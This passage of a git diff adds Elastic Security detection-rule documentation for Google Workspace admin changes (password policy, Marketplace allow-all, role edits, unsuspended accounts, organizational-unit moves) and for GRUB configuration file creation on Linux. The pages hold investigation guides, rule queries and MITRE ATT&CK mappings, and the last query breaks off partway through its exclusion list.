+==== Setup + + +The Google Workspace Fleet integration, the Filebeat module, or data that's similarly structured is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and + event.action:(CHANGE_APPLICATION_SETTING or CREATE_APPLICATION_SETTING) and + google_workspace.admin.setting.name:( + "Password Management - Enforce strong password" or + "Password Management - Password reset frequency" or + "Password Management - Enable password reuse" or + "Password Management - Enforce password policy at next login" or + "Password Management - Minimum password length" or + "Password Management - Maximum password length" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc new file mode 100644 index 0000000000..fb872c9d25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app]] +=== Google Workspace Restrictions for Marketplace Modified to Allow Any App + +Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices managed within Google Workspace. Administrators should set restrictions to not allow any application from the marketplace for security reasons. Adversaries may enable any app to be installed and executed on mobile devices within a Google Workspace environment prior to distributing the malicious APK to the end user. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6089179?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Restrictions for Marketplace Modified to Allow Any App* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Applications can be installed by individual users, if they have permission, or can be installed for an entire Google Workspace domain by administrators. Consent screens typically display what permissions and privileges the application requires during installation. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any product on the Marketplace that originates from a source other than Google. + +This rule identifies when the global allow-all setting is enabled for Google Workspace Marketplace applications. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- Search for `event.action` is `ADD_APPLICATION` to identify applications installed after these changes were made. + - The `google_workspace.admin.application.name` field will help identify what applications were added. +- With the user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Google Workspace administrators may intentionally add an application from the marketplace based on organizational needs. + - Follow up with the user who added the application to ensure this was intended. +- Verify the application identified has been assessed thoroughly by an administrator. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" and event.category:(iam or configuration) + and google_workspace.event.type:"APPLICATION_SETTINGS" and google_workspace.admin.application.name:"Google Workspace Marketplace" + and google_workspace.admin.setting.name:"Apps Access Setting Allowlist access" and google_workspace.admin.new_value:"ALLOW_ALL" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-role-modified.asciidoc new file mode 100644 index 0000000000..4a75249a1d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-role-modified.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-google-workspace-role-modified]] +=== Google Workspace Role Modified + +Detects when a custom admin role or its permissions are modified. An adversary may modify a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Role Modified* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt admin roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. Each Google Workspace service has a set of custodial privileges that can be added to custom roles. + +Roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Threat actors might modify existing roles with new privileges to advance their intrusion efforts and laterally move throughout the organization. Users with unexpected privileges might also cause operational dysfunction if unfamiliar settings are adjusted without warning. + +This rule identifies when a Google Workspace role is modified. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role modified by reviewing the `google_workspace.admin.role.name` field in the alert. +- Identify the privilege that was added or removed by reviewing the `google_workspace.admin.privilege.name` field in the alert. +- After identifying the involved user, verify administrative privileges are scoped properly. +- To identify other users with this role, search for `event.action: ASSIGN_ROLE` + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this role. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. +- If a privilege was added, monitor users assigned this role for the next 24 hours and look for attempts to use the new privilege. + - The `event.provider` field will help filter for specific services in Google Workspace such as Drive or Admin. + - The `event.action` field will help trace actions that are being taken by users. + + +*False positive analysis* + + +- After identifying the user account that modified the role, verify the action was intentional. +- Verify that the user is expected to have administrative privileges in Google Workspace to modify roles. +- Review organizational units or groups the role might have been added to and ensure the new privileges align properly. +- Use the `user.name` to filter for `event.action` where `ADD_PRIVILEGE` or `UPDATE_ROLE` has been seen before to check if these actions are new or historical. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ADD_PRIVILEGE or UPDATE_ROLE) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-suspended-user-account-renewed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-suspended-user-account-renewed.asciidoc new file mode 100644 index 0000000000..7099d3c163 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-suspended-user-account-renewed.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-google-workspace-suspended-user-account-renewed]] +=== Google Workspace Suspended User Account Renewed + +Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1110339 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Suspended User Account Renewed* + + +Google Workspace manages user identities and access, crucial for organizational security. Adversaries may exploit the renewal of suspended accounts to regain unauthorized access, bypassing security measures. The detection rule identifies such events by monitoring specific administrative actions, helping analysts spot potential misuse and maintain secure access controls. + + +*Possible investigation steps* + + +- Review the event logs for the specific action `UNSUSPEND_USER` to identify the user account that was renewed and gather details about the timing and context of the action. +- Check the identity of the administrator or service account that performed the `UNSUSPEND_USER` action to determine if the action was authorized or if there are signs of account compromise. +- Investigate the history of the suspended user account to understand why it was initially suspended and assess any potential risks associated with its renewal. +- Examine recent activity logs for the renewed user account to identify any suspicious behavior or unauthorized access attempts following the account's reactivation. +- Cross-reference the event with other security alerts or incidents to determine if the renewal is part of a broader pattern of suspicious activity within the organization. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule when IT staff unsuspend accounts for legitimate reasons, such as resolving a temporary issue. To manage this, create exceptions for known IT personnel or specific administrative actions that are part of regular account maintenance. +- Automated processes or scripts that unsuspend accounts as part of a workflow can also lead to false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags associated with the automation. +- User accounts that are temporarily suspended due to policy violations or inactivity and later reinstated can cause false positives. Implement a review process to verify the legitimacy of these reinstatements and adjust the rule to exclude such cases when they are part of a documented policy. + + +*Response and remediation* + + +- Immediately review the user account activity logs to determine if any unauthorized actions were taken after the account was unsuspended. Focus on sensitive data access and changes to security settings. +- Temporarily suspend the user account again to prevent further unauthorized access while the investigation is ongoing. +- Notify the security team and relevant stakeholders about the potential security incident to ensure coordinated response efforts. +- Conduct a thorough review of the account's permissions and access levels to ensure they align with the user's current role and responsibilities. Adjust as necessary to follow the principle of least privilege. +- If malicious activity is confirmed, initiate a password reset for the affected account and any other accounts that may have been compromised. +- Implement additional monitoring on the affected account and similar accounts to detect any further suspicious activity. +- Review and update security policies and procedures related to account suspension and reactivation to prevent similar incidents in the future. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.category:iam and event.action:UNSUSPEND_USER + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-user-organizational-unit-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-user-organizational-unit-changed.asciidoc new file mode 100644 index 0000000000..8934e107d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-user-organizational-unit-changed.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-google-workspace-user-organizational-unit-changed]] +=== Google Workspace User Organizational Unit Changed + +Users in Google Workspace are typically assigned a specific organizational unit that grants them permissions to certain services and roles that are inherited from this organizational unit. Adversaries may compromise a valid account and change which organizational account the user belongs to which then could allow them to inherit permissions to applications and resources inaccessible prior to. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace User Organizational Unit Changed* + + +An organizational unit is a group that an administrator can create in the Google Admin console to apply settings to a specific set of users for Google Workspace. By default, all users are placed in the top-level (parent) organizational unit. Child organizational units inherit the settings from the parent but can be changed to fit the needs of the child organizational unit. + +Permissions and privileges for users are often inherited from the organizational unit they are placed in. Therefore, if a user is changed to a separate organizational unit, they will inherit all privileges and permissions. User accounts may have unexpected privileges when switching organizational units that would allow a threat actor to gain a stronger foothold within the organization. The principle of least privileged (PoLP) should be followed when users are switched to different groups in Google Workspace. + +This rule identifies when a user has been moved to a different organizational unit. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - The `user.target.email` field contains the user that had their assigned organizational unit switched. +- Identify the user's previously assigned unit and new organizational unit by checking the `google_workspace.admin.org_unit.name` and `google_workspace.admin.new_value` fields. +- Identify Google Workspace applications whose settings were explicitly set for this organizational unit. + - Search for `event.action` is `CREATE_APPLICATION_SETTING` where `google_workspace.admin.org_unit.name` is the new organizational unit. +- After identifying the involved user, verify administrative privileges are scoped properly to allow changing user organizational units. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. + - Add `user.email` with the target user account that recently had their organizational unit changed. +- Filter on `user.name` or `user.target.email` of the user who took this action and review the last 48 hours of activity for anything that may indicate a compromise. + + +*False positive analysis* + + +- After identifying the user account that changed another user's organizational unit, verify the action was intentional. +- Verify whether the target user who received this update is expected to inherit privileges from the new organizational unit. +- Review potential maintenance notes or organizational changes. They might explain why a user's organization was changed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.type:change and event.category:iam + and google_workspace.event.type:"USER_SETTINGS" and event.action:"MOVE_USER_TO_ORG_UNIT" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..be9e0fbffd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-file-creation.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-20-grub-configuration-file-creation]] +=== GRUB Configuration File Creation + +This rule detects the creation of GRUB configuration files on Linux systems. The GRUB configuration file is used to configure the boot loader, which is responsible for loading the operating system. Attackers may create malicious GRUB configuration files to execute arbitrary code or escalate privileges during the boot process, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GRUB Configuration File Creation* + + +GRUB (Grand Unified Bootloader) is crucial for booting Linux systems, managing the boot process, and loading the OS. Adversaries may exploit GRUB by creating or altering configuration files to execute unauthorized code or gain elevated privileges, ensuring persistence. The detection rule identifies suspicious creation of GRUB files, excluding legitimate processes, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the file path and name to determine if it matches any known GRUB configuration files, as specified in the query (e.g., "/etc/default/grub", "/boot/grub2/grub.cfg"). +- Identify the process that created the file by examining the process.executable field, ensuring it is not one of the excluded legitimate processes. +- Check the timestamp of the file creation event to correlate it with any other suspicious activities or changes in the system around the same time. +- Investigate the user account associated with the process that created the file to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Analyze the contents of the newly created or modified GRUB configuration file for any unauthorized or suspicious entries that could indicate malicious intent. +- Cross-reference the event with other security logs or alerts to identify any related activities or patterns that could suggest a broader attack or compromise. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum may trigger false positives when they update or modify GRUB configuration files during routine package installations or updates. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can also cause false positives when they manage GRUB configurations as part of their configuration management tasks. Consider adding these tools to the exclusion list if they are part of your environment. +- Virtualization and containerization tools like Docker, Podman, and VirtualBox might modify GRUB files as part of their operations. Verify these processes and exclude them if they are legitimate in your setup. +- Temporary files created by text editors or system processes, such as those with extensions like swp or swx, can be mistaken for GRUB configuration files. Ensure these extensions are part of the exclusion criteria to prevent unnecessary alerts. +- Custom scripts or administrative tasks that modify GRUB configurations for legitimate reasons should be reviewed and, if deemed safe, added to the exclusion list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further unauthorized access. +- Review the GRUB configuration files identified in the alert to confirm unauthorized modifications or creations. Restore any altered files from a known good backup if necessary. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious code or backdoors that may have been introduced. +- Change all system and user passwords on the affected machine to prevent unauthorized access using potentially compromised credentials. +- Monitor the system for any further suspicious activity, particularly focusing on processes attempting to modify GRUB configuration files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional logging and monitoring for GRUB configuration changes to enhance detection capabilities and prevent future unauthorized modifications. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and file.path like~ ( + "/etc/default/grub.d/*", "/etc/default/grub", "/etc/grub.d/*", + "/boot/grub2/grub.cfg", "/boot/grub/grub.cfg", "/boot/efi/EFI/*/grub.cfg", + "/etc/sysconfig/grub" +) and not ( + /* Too many FPs from Python automation */ + process.name like ("python*", "platform-python*") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", 